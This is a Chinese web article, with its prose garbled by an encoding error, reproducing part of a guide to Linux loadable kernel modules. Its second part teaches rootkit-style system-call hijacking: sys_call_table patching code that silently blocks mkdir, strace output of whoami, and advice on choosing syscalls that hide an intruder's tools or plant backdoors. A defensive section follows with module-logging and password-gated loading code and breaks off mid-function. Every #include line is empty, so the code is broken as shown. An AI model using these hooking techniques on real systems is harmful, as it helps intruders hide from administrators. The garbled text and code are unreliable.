Ê×Ò³ | Óʼþ×ÊѶ | ¼¼Êõ½Ì³Ì | ½â¾ö·½°¸ | ²úÆ·ÆÀ²â | ÓʼþÈ˲Š| Óʼþ²©¿Í | ÓʼþϵͳÂÛ̳ | Èí¼þÏÂÔØ | ÓʼþÖÜ¿¯ | ÈȵãרÌâ | ¹¤¾ß
ÍøÂç¼¼Êõ | ²Ù×÷ϵͳ | Óʼþϵͳ | ¿Í»§¶Ë | µç×ÓÓÊÏä | ·´À¬»øÓʼþ | Óʼþ°²È« | ÓʼþÓªÏú | ÒÆ¶¯µçÓÊ | ÓʼþÈí¼þÏÂÔØ | µç×ÓÊéÏÂÔØ

²Ù×÷ϵͳ

Vista | Windows 9X | Windows Server | Linux&Uinx | FreeBSD | ÆäËü²Ù×÷ϵͳ |
Ê×Ò³ > ²Ù×÷ϵͳ > Linux&Uinx > Linuxϵͳ¿ÉÐ¶ÔØÄÚºËÄ£¿éÍêȫָÄÏ(2) > ÕýÎÄ

Linuxϵͳ¿ÉÐ¶ÔØÄÚºËÄ£¿éÍêȫָÄÏ(2)

³ö´¦£ºÀ¶É­ÁÖ ×÷ÕߣºÀ¶É­ÁÖ Ê±¼ä£º2006-5-30 14:14:00
¡¡µÚ¶þ²¿·Ö ½¥Èë¼Ñ¾³

¡¡¡¡2.1 ÈçºÎ½Ø»ñϵͳµ÷ÓÃ

¡¡¡¡ÏÖÔÚÎÒÃÇ¿ªÊ¼ÈëÇÖLKM£¬ÔÚÕý³£Çé¿öÏÂLKMsÊÇÓÃÀ´À©Õ¹Äں˵Ä(ÌØ±ðÊÇÄÇЩӲ¼þÇý¶¯)¡£È»¶øÎÒÃǵġ®Hacks¡¯×öһЩ²»Ò»ÑùµÄÊÂÇé¡£ËûÃÇ»á½Ø»ñϵͳµ÷Óò¢ÇÒ¸ü¸ÄËûÃÇ£¬ÎªÁ˸ıäϵͳijЩÃüÁîµÄÏìÓ¦·½Ê½¡£

¡¡¡¡ÏÂÃæµÄÕâ¸öÄ£¿é¿ÉÒÔʹµÃÈκÎÓû§¶¼²»ÄÜ´´½¨Ä¿Â¼¡£ÕâÖ»²»¹ýÊÇÎÒÃÇËæºó·½·¨µÄÒ»¸öССÑÝʾ¡£

¡¡¡¡#define MODULE

¡¡¡¡#define __KERNEL__

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡extern void* sys_call_table[];

¡¡¡¡/*sys_call_talbe ±»ÒýÈ룬ËùÒÔÎÒÃÇ¿ÉÒÔ´æÈ¡Ëû*/

¡¡¡¡int (*orig_mkdir)(const char *path);

¡¡¡¡/*ԭʼϵͳµ÷ÓÃ*/

¡¡¡¡int hacked_mkdir(const char *path)

¡¡¡¡{

¡¡¡¡return 0;

¡¡¡¡/*ÆäËûÒ»ÇÐÕý³££¬³ýÁËн¨²Ù×÷£¬¸Ã²Ù×÷ʲôҲ²»×ö*/

¡¡¡¡}

¡¡¡¡int init_module(void)

¡¡¡¡/*³õʼ»¯Ä£¿é*/

¡¡¡¡{

¡¡¡¡orig_mkdir=sys_call_table[SYS_mkdir];

¡¡¡¡sys_call_table[SYS_mkdir]=hacked_mkdir;

¡¡¡¡return 0;

¡¡¡¡}

¡¡¡¡void cleanup_module(void)

¡¡¡¡/*Ð¶ÔØÄ£¿é*/

¡¡¡¡{

¡¡¡¡sys_call_table[SYS_mkdir]=orig_mkdir;

¡¡¡¡/*»Ö¸´mkdirϵͳµ÷Óõ½Ô­À´µÄÄĸö*/

¡¡¡¡}

¡¡¡¡±àÒë²¢Æô¶¯Õâ¸öÄ£¿é(¼û1.1)¡£È»ºó³¢ÊÔн¨Ò»¸öĿ¼£¬Äã»á·¢ÏÖ²»Äܳɹ¦¡£ÓÉÓÚ·µ»ØÖµÊÇ0(´ú±íÒ»ÇÐÕý³£)ÎÒÃǵò»µ½Èκγö´íÐÅÏ¢¡£ÔÚÒÆÇøÄ£¿éÖ®ºó£¬ÎÒÃÇÓÖ¿ÉÒÔн¨Ä¿Â¼ÁË¡£ÕýÈçÄãËù¿´µ½µÄ£¬ÎÒÃÇÖ»ÐèÒª¸Ä±äsys_call_table(¼û1.2)ÖÐÏà¶ÔÓ¦µÄÈë¿Ú¾Í¿ÉÒԽػñµ½ÏµÍ³µ÷ÓÃÁË¡£

¡¡¡¡½Ø»ñϵͳµ÷ÓõÄͨ³£²½ÖèÈçÏÂ:

¡¡¡¡ÕÒµ½ÄãÐèÒªµÄϵͳµ÷ÓÃÔÚsys_call_table[]ÖеÄÈë¿Ú(¿´Ò»ÑÛinclude/sys/syscall.h)

¡¡¡¡±£´æsys_call_table[x]µÄ¾ÉÈë¿ÚÖ¸Õë¡£(ÔÚÕâÀïx´ú±íÄãËùÏëÒª½Ø»ñµÄϵͳµ÷ÓõÄË÷Òý)

¡¡¡¡½«Äã×Ô¼º¶¨ÒåµÄеĺ¯ÊýÖ¸Õë´æÈësys_call_table[x]

¡¡¡¡Äã»áÒâʶµ½±£´æ¾ÉµÄϵͳµ÷ÓÃÖ¸ÕëÊÇÊ®·ÖÓÐÓõģ¬ÒòΪÔÚÄãµÄе÷ÓÃÖÐÄã»áÐèÒªËûÀ´Ä£Äâԭʼµ÷Óᣵ±ÄãÔÚдһ¸ö'Hack-LKM'ʱÄãËùÃæ¶ÔµÄµÚÒ»¸öÎÊÌâÊÇ:

¡¡¡¡ÎÒµ½µ×¸Ã½Ø»ñÄĸöϵͳµ÷ÓÃ?
¡¡2.2һЩÓÐȤµÄϵͳµ÷ÓÃ

¡¡¡¡Äã²¢²»ÊÇÒ»¸ö¹ÜÀíÄں˵ÄÉϵۣ¬Òò´ËÄã²»ÖªµÀÿһ¸öÓû§µÄÓ¦ÓóÌÐò»òÕßÃüÁîµ½µ×ʹÓÃÁËÄÇЩϵͳµ÷Óá£Òò´ËÎÒ»á¸øÄãһЩÌáʾÀ´°ïÖúÄãÕÒµ½»ñµÃ¿ØÖƵÄϵͳµ÷Óá£

¡¡¡¡¶ÁÔ´´úÂë¡£ÔÚÒ»¸öÏólinuxÕâÑùµÄϵͳÖУ¬Äã¿ÉÒÔÕÒµ½ÈκÎÒ»¸öÓû§(»òÕß¹ÜÀíÔ±)ËùÓõijÌÐòµÄÔ´´úÂë¡£Ò»µ©Äã·¢ÏÖÁËij¸ö»ù±¾µÄº¯Êý£¬Ïñdup,open,write.....תÏòb

¡¡¡¡ÏÂÃæ¿´¿´include/sys/syscall.h(¼û1.2)¡£ÊÔ×ÅÈ¥Ö±½ÓÕÒÏà¶ÔÓ¦µÄϵͳµ÷ÓÃ(²éÕÒdup->Äã¾Í»á·¢ÏÖSYS_dup£¬²éÕÒwrite£¬Äã¾Í»á·¢ÏÖSYS_write;....)¡£Èç¹ûûÓÐÕÒµ½×ªÏòc

¡¡¡¡Ò»Ð©Ïósocket,send,receive,....ÕâÑùµÄµ÷Óò¢²»ÊÇͨ¹ýÒ»¸öϵͳµ÷ÓÃʵÏÖµÄ--ÕýÈçÎÒÒÔǰ˵¹ýµÄÄÇÑù¡£Õâʱ¾ÍÒª¿´Ò»¿´°üº¬Ïà¹ØÏµÍ³µ÷ÓõÄÍ·Îļþ¡£

¡¡¡¡Òª¼Çס²¢²»ÊÇÿһ¸öc¿âÀïÃæµÄº¯Êý¶¼ÊÇϵͳµ÷Ó᣾ø´ó¶àÊýÕâÑùµÄº¯ÊýºÍϵͳµ÷ÓúÁÎÞ¹ØÏµ¡£Ò»¸öÉÔ΢ÓÐÒ»µã¾­ÑéµÄhacker»á¿´¿´1.2ÀïÃæµÄÁÐ±í£¬ÄÇÒѾ­ÌṩÁË×ã¹»µÄÐÅÏ¢¡£ÀýÈçÄãÒªÖªµÀÓû§id¹ÜÀíÊÇͨ¹ýuidµÄϵͳµ÷ÓÃʵÏֵĵȵȡ£Èç¹ûÄãÕæµÄÏëÈ·¶¨Äã¿ÉÒÔ¿´¿´¿âº¯Êý/Äں˵ÄÔ´´úÂë¡£

¡¡¡¡×îÀ§ÄѵÄÎÊÌâÊÇÒ»¸öϵͳ¹ÜÀíԱдÁË×Ô¼ºµÄÓ¦ÓóÌÐòÀ´¼ì²éϵͳµÄÍêÕûÐÔ»òÕß°²È«ÐÔ¡£¹ØÓÚÕâЩ³ÌÐòµÄÎÊÌâÔÚÓÚȱ·¦Ô´´úÂë¡£ÎÒÃDz»ÄÜÈ·¶¨Õâ¸ö³ÌÐòµ½µ×ÊÇÈçºÎ¹¤×÷µÄÒÔ¼°ÎÒÃÇÓ¦¸Ã½Ø»ñÄÇЩϵͳµ÷ÓÃÀ´Òþ²ØÎÒÃǵÄÀñÎï/¹¤¾ß¡£ÉõÖÁÓпÉÄÜËûÒýÈëÁËÒ»¸ö½Ø»ñhackerÃǾ­³£Ê¹ÓõÄϵͳµ÷ÓõÄLKMÀ´Òþ²ØËû×Ô¼º£¬²¢¼ì²éϵͳµÄ°²È«ÐÔ(ϵͳ¹ÜÀíÔ±ÃǾ­³£Ê¹ÓÃһЩºÚ¿Í¼¼ÊõÀ´±£»¤ËûÃǵÄϵͳ)¡£

¡¡¡¡ÄÇÎÒÃÇÓ¦¸ÃÈçºÎ¼ÌÐøÄØ?

¡¡¡¡2.2.1 ·¢ÏÖÓÐȤµÄϵͳµ÷ÓÃ(strace·½·¨)

¡¡¡¡¼Ù¶¨ÄãÒѾ­ÖªµÀÁËij¸öϵͳ¹ÜÀíÔ±ÓÃÀ´¼ì²éϵͳµÄ³ÌÐò(Õâ¸ö¿ÉÒÔͨ¹ýijЩÆäËûµÄ·½·¨µÃµ½£¬ÏóTTY hijacking(¼û2.9/appendix

¡¡¡¡a)£¬ÏÖÔÚΨһµÄÎÊÌâÊÇÄãÐèÒªÈÃÄãµÄÀñÎï¶ã¹ýϵͳ¹ÜÀíÔ±µÄ³ÌÐòÖ±µ½.....)¡£

¡¡¡¡ºÃ£¬ÏÖÔÚÓÃstraceÀ´ÔËÐÐÕâ¸ö³ÌÐò(Ò²ÐíÄãÐèÒªrootȨÏÞÀ´Ö´ÐÐËû)

¡¡¡¡# strace super_admin_proggy

¡¡¡¡Õâ»á¸øÄãÒ»¸öÊ®·Ö°ôµÄ¹ØÓÚÕâ¸ö³ÌÐòµÄÿ¸öϵͳµ÷ÓõÄÊä³ö¡£ÕâЩϵͳµ÷ÓÃÓпÉÄܶ¼Òª¼ÓÈëµ½ÄãµÄhacking LKMµ±ÖÐÈ¥¡£ÎÒ²¢Ã»ÓÐÒ»¸öÕâÑùµÄ¹ÜÀí³ÌÐò×÷ΪÀý×Ó¸øÄã¿´¡£µ«ÊÇÎÒÃÇ¿ÉÒÔ¿´¿´¡¯strace whoami¡®µÄÊä³ö:

¡¡¡¡execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0

¡¡¡¡mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

¡¡¡¡0x40007000

¡¡¡¡mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

¡¡¡¡mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

¡¡¡¡stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0

¡¡¡¡open("/etc/ld.so.cache", O_RDONLY)¡¡¡¡ = 3

¡¡¡¡mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000

¡¡¡¡close(3)¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡= 0

¡¡¡¡stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or

¡¡¡¡directory)

¡¡¡¡open("/lib/libc.so.5", O_RDONLY)¡¡¡¡¡¡¡¡= 3

¡¡¡¡read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096

¡¡¡¡mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000

¡¡¡¡mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0)

¡¡¡¡= 0x4000c000

¡¡¡¡mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,

¡¡¡¡0x81000) = 0x4008e000

¡¡¡¡mmap(0x40094000, 204536, PROT_READ|PROT_WRITE,

¡¡¡¡MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000

¡¡¡¡close(3)¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡= 0

¡¡¡¡mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0

¡¡¡¡munmap(0x40008000, 13363)¡¡¡¡¡¡¡¡¡¡¡¡ = 0

¡¡¡¡mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0

¡¡¡¡mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0

¡¡¡¡mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0

¡¡¡¡personality(PER_LINUX)¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ = 0

¡¡¡¡geteuid()¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ = 500

¡¡¡¡getuid()¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡= 500

¡¡¡¡getgid()¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡= 100

¡¡¡¡getegid()¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ = 100

¡¡¡¡brk(0x804aa48)¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ = 0x804aa48

¡¡¡¡brk(0x804b000)¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ = 0x804b000

¡¡¡¡open("/usr/share/locale/locale.alias", O_RDONLY) = 3

¡¡¡¡fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0

¡¡¡¡mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

¡¡¡¡0x40008000

¡¡¡¡read(3, "# Locale name alias data base\n#"..., 4096) = 2005

¡¡¡¡brk(0x804c000)¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ = 0x804c000

¡¡¡¡read(3, "", 4096)¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ = 0

¡¡¡¡close(3)¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡= 0

¡¡¡¡munmap(0x40008000, 4096)¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡= 0

¡¡¡¡open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file

¡¡¡¡or directory)

¡¡¡¡open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3

¡¡¡¡fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0

¡¡¡¡mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000

¡¡¡¡close(3)¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡= 0

¡¡¡¡geteuid()¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ = 500

¡¡¡¡open("/etc/passwd", O_RDONLY)¡¡¡¡¡¡¡¡ = 3

¡¡¡¡fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0

¡¡¡¡mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

¡¡¡¡0x4000b000

¡¡¡¡read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074

¡¡¡¡close(3)¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡= 0

¡¡¡¡munmap(0x4000b000, 4096)¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡= 0

¡¡¡¡fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0

¡¡¡¡mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

¡¡¡¡0x4000b000

¡¡¡¡write(1, "r00t\n", 5r00t

¡¡¡¡)¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ = 5

¡¡¡¡_exit(0)¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡= ?

¡¡¡¡ÕâȷʵÊÇÒ»¸ö·Ç³£ÃÀÃîµÄ¹ØÓÚÃüÁwhoami¡®µÄϵͳµ÷ÓÃÁÐ±í£¬²»ÊÇô?ÔÚÕâÀïΪÁË¿ØÖÆ¡¯whoami¡®µÄÊä³öÐèÒªÀ¹½Ø4¸öϵͳµ÷ÓÃ

¡¡¡¡geteuid()¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ = 500

¡¡¡¡getuid()¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡= 500

¡¡¡¡getgid()¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡= 100

¡¡¡¡getegid()¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ = 100

¡¡¡¡¿ÉÒÔ¿´¿´2.6µÄÄĸö³ÌÐòµÄʵÏÖ¡£ÕâÖÖ·ÖÎö³ÌÐòµÄ·½·¨¶ÔÓÚÏÔʾÆäËû»ù±¾¹¤¾ßµÄÐÅÏ¢Ò²ÊÇÊ®·ÖÖØÒªµÄ¡£

¡¡¡¡ÎÒÏ£ÍûÏÖÔÚÄãÄܹ»ÕÒµ½ÄÇЩÄܹ»°ïÖúÄãÒþ²ØÄã×Ô¼ºµÄ£¬»òÕß×öϵͳºóÃÅ£¬»òÕßÈκÎÄãÏë×öµÄÊÂÇéµÄϵͳµ÷ÓÃ.
¡¡µÚÈý²¿·Ö ½â¾ö·½°¸(¸øÏµÍ³¹ÜÀíÔ±)

¡¡¡¡3.1 LKM¼ì²âµÄÀíÂÛºÍÏë·¨

¡¡¡¡ÎÒÏëÏÖÔڸõ½°ïÖúÎÒÃǵÄϵͳ¹ÜÀíÔ±À´±£»¤ËûÃǵÄϵͳµÄʱºòÁË¡£ÔÚ½âÊÍһЩÀíÂÛÒÔǰ£¬ÎªÁËʹÄãµÄϵͳ±äµÄ°²È«£¬Çë¼ÇסÈçϵĻù±¾Ô­Ôò:

¡¡¡¡¾ø¶Ô²»Òª°²×°ÄãûÓÐÔ´´úÂëµÄLKMs¡£(µ±È»£¬Õâ¶ÔÓÚÆÕͨµÄ¿ÉÖ´ÐÐÎļþÒ²ÊÊÓÃ)

¡¡¡¡Èç¹ûÄãÓÐÁËÔ´´úÂ룬Ҫ×Ðϸ¼ì²éËûÃÇ(Èç¹ûÄãÄܹ»µÄ»°)¡£»¹¼ÇµÃtcpdľÂíÎÊÌâÂð?´óµÄÈí¼þ°üºÜ¸´ÔÓ£¬Òò´ËºÜÄÑ¿´¶®¡£µ«ÊÇÈç¹ûÄãÐèÒªÒ»¸ö°²È«µÄϵͳ£¬Äã±ØÐë·ÖÎöÔ´´úÂë¡£

¡¡¡¡ÉõÖÁÄãÒѾ­×ñÊØÁËÕâЩԭÔò£¬ÄãµÄϵͳ»¹ÊÇÓпÉÄܱ»±ðÈË´³Èë²¢·ÅÖÃLKM(±ÈÈç˵Òç³öµÈµÈ)¡£

¡¡¡¡Òò´Ë£¬¿ÉÒÔ¿¼ÂÇÓÃÒ»¸öLKM¼Ç¼ÿһ¸öÄ£¿éµÄ¼ÓÔØ£¬²¢ÇҾܾøÈκÎÒ»¸ö²»ÊÇ´ÓÖ¸¶¨°²È«°²È«Ä¿Â¼µÄÄ£¿éµÄ¼ÓÔØÆóͼ¡£(ΪÁË·ÀÖ¹¼òµ¥µÄÒç³ö¡£²»´æÔÚÍêÃÀµÄ·½·¨...)¡£¼Ç¼¹¦ÄÜ¿ÉÒÔͨ¹ýÀ¹½Øcreate_module(...)À´ºÜÇáÒ×µÄʵÏÖ¡£ÓÃͬÑùµÄ·½·¨ÄãÒ²¿ÉÒÔ¼ì²éÄ£¿é¼ÓÔØµÄĿ¼.

¡¡¡¡µ±È»¾Ü¾øÈκεÄÄ£¿éµÄ¼ÓÔØÒ²ÊÇÓпÉÄܵġ£µ«ÊÇÕâÊÇÒ»¸öºÜ»µµÄ·½·¨¡£ÒòΪÄãȷʵÐèÒªËûÃÇ¡£Òò´ËÎÒÃÇ¿ÉÒÔ¿¼ÂǸıäÄ£¿éµÄ¼ÓÔØ·½Ê½£¬±ÈÈç˵Ҫһ¸öÃÜÂë¡£ÃÜÂë¿ÉÒÔÔÚÄã¿ØÖÆµÄcreate-module(...)ÀïÃæ¼ì²é¡£Èç¹ûÃÜÂëÕýÈ·£¬Ä£¿é¾Í»á±»¼ÓÔØ£¬·ñÔò£¬Ä£¿é±»¶ªÆú¡£

¡¡¡¡Òª×¢ÒâµÄÊÇÄã±ØÐëÑÚ²ØÄãµÄÄ£¿é²¢Ê¹Ëû²»¿ÉÒÔ±»Ð¶ÔÔ¡£Òò´Ë£¬ÈÃÎÒÃÇÀ´¿´¿´Ò»Ð©¼Ç¼LKMºÍÃÜÂë±£»¤µÄʵÏÖµÄÔ­ÐÍ¡£(ͨ¹ý±£»¤µÄcreate_module(...)ϵͳµ÷ÓÃ)¡£

¡¡¡¡3.1.1 Ò»¸öʹÓõļì²âÆ÷µÄÔ­ÐÎ

¡¡¡¡¶ÔÓÚÕâ¸ö¼òµ¥µÄÀý×Ó£¬Ã»ÓÐʲô¿ÉÒÔ˵µÄ¡£Ö»²»¹ýÊÇÀ¹½ØÁËsys_create_module(...)²¢ÇҼǼÏÂÁ˼ÓÔØµÄÄ£¿éµÄÃû×Ö¡£

¡¡¡¡#define MODULE

¡¡¡¡#define __KERNEL__

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡extern void* sys_call_table[];

¡¡¡¡int (*orig_create_module)(char*, unsigned long);

¡¡¡¡int hacked_create_module(char *name, unsigned long size)

¡¡¡¡{

¡¡¡¡char *kernel_name;

¡¡¡¡char hide[]="ourtool";

¡¡¡¡int ret;

¡¡¡¡kernel_name = (char*) kmalloc(256, GFP_KERNEL);

¡¡¡¡memcpy_fromfs(kernel_name, name, 255);

¡¡¡¡/*ÕâÀïÎÒÃÇÏòsyslog¼Ç¼£¬µ«ÊÇÄã¿ÉÒԼǼµ½ÈκÎÄãÏëÒªµÄµØ·½*/

¡¡¡¡printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);

¡¡¡¡ret=orig_create_module(name, size);

¡¡¡¡return ret;

¡¡¡¡}

¡¡¡¡int init_module(void)

¡¡¡¡/*³õʼ»¯Ä£¿é*/

¡¡¡¡{

¡¡¡¡orig_create_module=sys_call_table[SYS_create_module];

¡¡¡¡sys_call_table[SYS_create_module]=hacked_create_module;

¡¡¡¡return 0;

¡¡¡¡}

¡¡¡¡void cleanup_module(void)

¡¡¡¡/*Ð¶ÔØÄ£¿é*/

¡¡¡¡{

¡¡¡¡sys_call_table[SYS_create_module]=orig_create_module;

¡¡¡¡}

¡¡¡¡Õâ¾ÍÊÇËùÓÐÄãÐèÒªµÄ¡£µ±È»£¬Äã±ØÐë¼ÓһЩ´úÂëÀ´Òþ²ØÕâ¸öÄ£¿é£¬Õâ¸öÓ¦¸ÃûÓÐÎÊÌâ¡£ÔÚʹµÃÕâ¸öÄ£¿é²»¿ÉÒÔ±»Ð¶ÔØÒÔºó£¬Ò»¸öhackerÖ»¿ÉÒԸıä¼Ç¼ÎļþÁË¡£µ«ÊÇÄãÒ²¿ÉÒÔ°ÑÄãµÄ¼Ç¼Îļþ´æµ½Ò»¸ö²»¿É±»½Ó´¥µÄÎļþÖÐÈ¥(¿´2.1À´»ñµÃÏà¹ØµÄ¼¼ÇÉ).µ±È»£¬ÄãÒ²¿ÉÒÔÀ¹½Øsys_init_module(...)À´ÏÔʾÿһ¸öÄ£¿é¡£Õâ²»¹ýÊÇÒ»¸öƷλÎÊÌâ¡£
¡¡¡¡3.1.2 Ò»¸öÃÜÂë±£»¤µÄcreate_module(...)µÄÀý×Ó

¡¡¡¡ÕâÒ»½ÚÎÒÃÇ»áÌÖÂÛÈçºÎ¸øÒ»¸öÄ£¿éµÄ¼ÓÔØ¼ÓÈëÃÜÂëУÑé¡£ÎÒÃÇÐèÒªÁ½¼þÊÂÇéÀ´Íê³ÉÕâÏîÈÎÎñ:

¡¡¡¡Ò»¸ö¼ì²éÄ£¿é¼ÓÔØµÄ·½·¨(ÈÝÒ×)

¡¡¡¡Ò»¸öУÑéµÄ·½·¨(Ï൱µÄÄÑ)

¡¡¡¡µÚÒ»µãÊÇÊ®·ÖÈÝÒ×ʵÏֵġ£Ö»ÐèÒªÀ¹½Øsys_create_module(...),È»ºó¼ì²éһЩ±äÁ¿£¬Äں˾ͻáÖªµÀÕâ´Î¼ÓÔØÊÇ·ñºÏ·¨ÁË¡£µ«ÊÇÈçºÎ½øÐÐУÑéÄØ?ÎÒ±ØÐë³ÐÈÏÎÒûÓл¨¶àÉÙʱ¼äÔÚÕâ¸öÎÊÌâÉÏ¡£Òò´ËÕâ¸ö·½°¸²¢²»ÊÇÌ«ºÃ¡£µ«ÊÇÕâÊÇһƪLKMµÄÎÄÕ£¬Òò´Ë£¬Ê¹ÓÃÄãµÄÍ·ÄÔÈ¥ÏëһЩ¸üºÃµÄ°ì·¨¡£Îҵķ½·¨ÊÇ£¬À¹½Østat(...)ϵͳµ÷Óᣵ±ÄãÇÃÈκÎÃüÁîʱ£¬ÏµÍ³ÐèÒªËÑË÷Ëû£¬stat¾Í»á±»µ÷ÓÃ.

¡¡¡¡Òò´Ë£¬ÔÚÇÃÃüÁîµÄͬʱÇÃÒ»¸öÃÜÂë,LKM»áÔÚÀ¹½ØÏµÄstatϵͳµ÷ÓÃÖмì²éËû.[ÎÒÖªµÀÕâºÜ²»°²È«;ÉõÖÁÒ»¸öLinux

¡¡¡¡starter¶¼¿ÉÒÔ»÷°ÜÕâÖÖ»úÖÆ.µ«ÊÇ(ÔÙÒ»´ÎµÄ)Õâ²¢²»ÊÇÕâÀïµÄÖØµã....].¿´¿´ÎÒµÄʵÏÖ(ÎÒ´ÓplaguezµÄÒ»¸öÀàËÆµÄLKMÖÐÖ±½ÓÇÀ¹ýÀ´Á˺ܶàÏÖ´æµÄ´úÂë....)

¡¡¡¡#define MODULE

¡¡¡¡#define __KERNEL__

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡#include

¡¡¡¡extern void* sys_call_table[];

¡¡¡¡/*Èç¹ûlock_mod=1 ¾ÍÊÇÔÊÐí¼ÓÔØÒ»¸öÄ£¿é*/

¡¡¡¡int lock_mod=0;

¡¡¡¡int __NR_myexecve;

¡¡¡¡/*À¹½Øcreate_module(...)ºÍstat(...)ϵͳµ÷ÓÃ*/

¡¡¡¡int (*orig_create_module)(char*, unsigned long);

¡¡¡¡int (*orig_stat) (const char *, struct old_stat*);

¡¡¡¡char *strncpy_fromfs(char *dest, const char *src, int n)

¡¡¡¡{

¡¡¡¡char *tmp = src;

¡¡¡¡int compt = 0;

¡¡¡¡do {

¡¡¡¡dest[compt++] = __get_user(tmp++, 1);

¡¡¡¡}

¡¡¡¡while ((dest[compt - 1] != '\0') && (compt != n));

¡¡¡¡return dest;

¡¡¡¡}

¡¡¡¡int hacked_stat(const char *filename, struct old_stat *buf)

¡¡¡¡{

¡¡¡¡char *name;

¡¡¡¡int ret;

¡¡¡¡char *password = "password";

¡¡¡¡/*yeah,Ò»¸öºÜºÃµÄÃÜÂë*/

¡¡¡¡name¡¡¡¡= (char *) kmalloc(255, GFP_KERNEL);

¡¡¡¡(void) strncpy_fromfs(name, filename, 255);

¡¡¡¡/*ÓÐÃÜÂëô?*/

¡¡¡¡if (strstr(name, password)!=NULL)

¡¡¡¡{

¡¡¡¡/*Ò»´Î½öÔÊÐí¼ÓÔØÒ»¸öÄ£¿é*/

¡¡¡¡lock_mod=1;

¡¡¡¡kfree(name);

¡¡¡¡return 0;

¡¡¡¡}

¡¡¡¡else

¡¡¡¡{

¡¡¡¡kfree(name);

